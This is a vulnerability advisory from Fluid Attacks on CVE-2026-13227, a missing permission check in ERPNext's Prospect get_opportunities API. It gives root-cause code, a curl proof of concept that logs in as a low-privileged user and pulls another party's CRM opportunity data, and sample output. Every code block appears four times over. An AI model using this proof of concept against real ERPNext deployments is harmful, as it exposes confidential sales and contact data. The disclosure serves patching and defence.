ERPNext v16.25.0 - Improper authorization in Prospect opportunities API

7.1

High

Discovered by

Eduardo Ferguson

Offensive Team, Fluid Attacks

Summary

Full name

ERPNext v16.25.0 - Improper authorization in Prospect opportunities API exposing CRM pipeline data

Code name

State

Public

Release date

Affected product

ERPNext

Vendor

Frappe

Affected version(s)

<15.115.0, <16.26.0

Fixed version(s)

>=15.115.0 - >=16.26.0

Vulnerability name

Improper authorization control for web services

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.1

Exploit available

Yes

Description

An Improper Authorization vulnerability exists in ERPNext version <v16.25.0 and <15.115.0 due to insufficient access control in the whitelisted API method erpnext.crm.doctype.prospect.prospect.get_opportunities.

The endpoint allows authenticated users to retrieve CRM Opportunity records for an arbitrary Prospect name supplied by the caller. Because the method is exposed through a whitelisted API and does not enforce role-based or document-level permission checks before querying data with frappe.get_all(...), low-privileged users can access opportunity information that would normally be restricted by ERPNext/Frappe permissions.

Successful exploitation allows unauthorized disclosure of sensitive CRM data, including opportunity identifiers, sales owners, stages, statuses, expected closing dates, probabilities, opportunity amounts, currencies, contact names, email addresses, phone numbers, and creation timestamps.

Vulnerability

Root cause

  1. HTTP exposure through a whitelisted method (erpnext/crm/doctype/prospect/prospect.py:145-146):

    @frappe.whitelist()
    def get_opportunities(prospect: str)
    
    
    @frappe.whitelist()
    def get_opportunities(prospect: str)
    
    
    @frappe.whitelist()
    def get_opportunities(prospect: str)
    
    
    @frappe.whitelist()
    def get_opportunities(prospect: str)
    
    

    @frappe.whitelist() makes the method callable through /api/method/.... The method is not declared with allow_guest=True, so a session is required, but there is no role check such as frappe.only_for(...) and no document permission check against the requested Prospect or returned Opportunity records.

  2. User-controlled object selector (erpnext/crm/doctype/prospect/prospect.py:149):

    filters={"opportunity_from": "Prospect", "party_name": prospect}
    filters={"opportunity_from": "Prospect", "party_name": prospect}
    filters={"opportunity_from": "Prospect", "party_name": prospect}
    filters={"opportunity_from": "Prospect", "party_name": prospect}

    The caller controls prospect. If they know or can discover a Prospect name, they can request opportunities linked to that Prospect.

  3. Permission bypass in query helper (erpnext/crm/doctype/prospect/prospect.py:147):

    return frappe.get_all(
    return frappe.get_all(
    return frappe.get_all(
    return frappe.get_all(

    In Frappe, frappe.get_all is explicitly documented as not checking permissions and sets ignore_permissions = True before delegating to get_list. This bypasses both role-based record filtering and field-level read filtering that a permission-aware query would apply.

  4. Sensitive returned fields (erpnext/crm/doctype/prospect/prospect.py:150-163):

    fields=[
        "opportunity_owner",
        "sales_stage",
        "status",
        "expected_closing",
        "probability",
        "opportunity_amount",
        "currency",
        "contact_person",
        "contact_email",
        "contact_mobile",
        "creation",
        "name",
    ]
    fields=[
        "opportunity_owner",
        "sales_stage",
        "status",
        "expected_closing",
        "probability",
        "opportunity_amount",
        "currency",
        "contact_person",
        "contact_email",
        "contact_mobile",
        "creation",
        "name",
    ]
    fields=[
        "opportunity_owner",
        "sales_stage",
        "status",
        "expected_closing",
        "probability",
        "opportunity_amount",
        "currency",
        "contact_person",
        "contact_email",
        "contact_mobile",
        "creation",
        "name",
    ]
    fields=[
        "opportunity_owner",
        "sales_stage",
        "status",
        "expected_closing",
        "probability",
        "opportunity_amount",
        "currency",
        "contact_person",
        "contact_email",
        "contact_mobile",
        "creation",
        "name",
    ]

    The endpoint returns commercially sensitive CRM data and contact information, not only public identifiers.

Authorization impact

The vulnerable path is not unauthenticated, but it is reachable by any authenticated user who can call whitelisted methods. A user without the required CRM roles or record access can retrieve opportunities for a supplied Prospect name because the method does not call a permission-aware API such as frappe.get_list, frappe.has_permission, or frappe.get_doc(...).check_permission(...).

If Prospect names are predictable, leaked, or obtainable through other application views, repeated calls can expose a broader CRM pipeline.

Relevant code:

  • erpnext/crm/doctype/prospect/prospect.py:137-156

  • erpnext/crm/doctype/prospect/prospect.json:229-262

  • erpnext/crm/doctype/opportunity/opportunity.json:661-685

  • frappe/__init__.py:get_all

PoC

Preconditions

  • ERPNext v16.25.0.

  • A valid low-privileged user account.

  • At least one Prospect linked to one or more Opportunities.

  • ERPNext reachable at http://localhost:8080.

Step 1 - Login as a low-privileged user

curl -s -c /tmp/c.txt -X POST "http://localhost:8080/api/method/login" \
  -H "Content-Type: application/json" \
  -d '{"usr":"[email protected]","pwd":"[email protected]"}'
curl -s -c /tmp/c.txt -X POST "http://localhost:8080/api/method/login" \
  -H "Content-Type: application/json" \
  -d '{"usr":"[email protected]","pwd":"[email protected]"}'
curl -s -c /tmp/c.txt -X POST "http://localhost:8080/api/method/login" \
  -H "Content-Type: application/json" \
  -d '{"usr":"[email protected]","pwd":"[email protected]"}'
curl -s -c /tmp/c.txt -X POST "http://localhost:8080/api/method/login" \
  -H "Content-Type: application/json" \
  -d '{"usr":"[email protected]","pwd":"[email protected]"}'

Expected result:

  • The response shows a successful authenticated session.

  • In the submitted evidence, the response included:

{"message":"No App","home_page":"/me","full_name":"Test"}
{"message":"No App","home_page":"/me","full_name":"Test"}
{"message":"No App","home_page":"/me","full_name":"Test"}
{"message":"No App","home_page":"/me","full_name":"Test"}

Step 2 - Request opportunities for a Prospect

curl -s -b /tmp/c.txt \
  "http://localhost:8080/api/method/erpnext.crm.doctype.prospect.prospect.get_opportunities?prospect=Confidential%20Corporation%20S.A."

curl -s -b /tmp/c.txt \
  "http://localhost:8080/api/method/erpnext.crm.doctype.prospect.prospect.get_opportunities?prospect=Confidential%20Corporation%20S.A."

curl -s -b /tmp/c.txt \
  "http://localhost:8080/api/method/erpnext.crm.doctype.prospect.prospect.get_opportunities?prospect=Confidential%20Corporation%20S.A."

curl -s -b /tmp/c.txt \
  "http://localhost:8080/api/method/erpnext.crm.doctype.prospect.prospect.get_opportunities?prospect=Confidential%20Corporation%20S.A."

Expected vulnerable result:

  • The endpoint returns Opportunity records despite the caller being a low-privileged authenticated user.

  • The response contains sales pipeline and contact fields.

Example observed response:

{
  "message": [
    {
      "opportunity_owner": "[email protected]",
      "sales_stage": "Prospecting",
      "status": "Open",
      "expected_closing": "2026-07-14",
      "probability": 100.0,
      "opportunity_amount": 200000.0,
      "currency": "USD",
      "contact_person": null,
      "contact_email": null,
      "contact_mobile": null,
      "creation": "2026-06-22 22:51:19.063548",
      "name": "CRM-OPP-2026-00001"
    }
  ]
}
{
  "message": [
    {
      "opportunity_owner": "[email protected]",
      "sales_stage": "Prospecting",
      "status": "Open",
      "expected_closing": "2026-07-14",
      "probability": 100.0,
      "opportunity_amount": 200000.0,
      "currency": "USD",
      "contact_person": null,
      "contact_email": null,
      "contact_mobile": null,
      "creation": "2026-06-22 22:51:19.063548",
      "name": "CRM-OPP-2026-00001"
    }
  ]
}
{
  "message": [
    {
      "opportunity_owner": "[email protected]",
      "sales_stage": "Prospecting",
      "status": "Open",
      "expected_closing": "2026-07-14",
      "probability": 100.0,
      "opportunity_amount": 200000.0,
      "currency": "USD",
      "contact_person": null,
      "contact_email": null,
      "contact_mobile": null,
      "creation": "2026-06-22 22:51:19.063548",
      "name": "CRM-OPP-2026-00001"
    }
  ]
}
{
  "message": [
    {
      "opportunity_owner": "[email protected]",
      "sales_stage": "Prospecting",
      "status": "Open",
      "expected_closing": "2026-07-14",
      "probability": 100.0,
      "opportunity_amount": 200000.0,
      "currency": "USD",
      "contact_person": null,
      "contact_email": null,
      "contact_mobile": null,
      "creation": "2026-06-22 22:51:19.063548",
      "name": "CRM-OPP-2026-00001"
    }
  ]
}

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-13227 to refer to this issue from now on.

System Information

  • Frappe ERPNext.

  • Version: <15.115.0, <16.26.0.

  • Operating System: Any

References

Mitigation

An updated version of ERPNext is available on the vendor page.

Credits

The vulnerability was discovered by Eduardo Ferguson from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks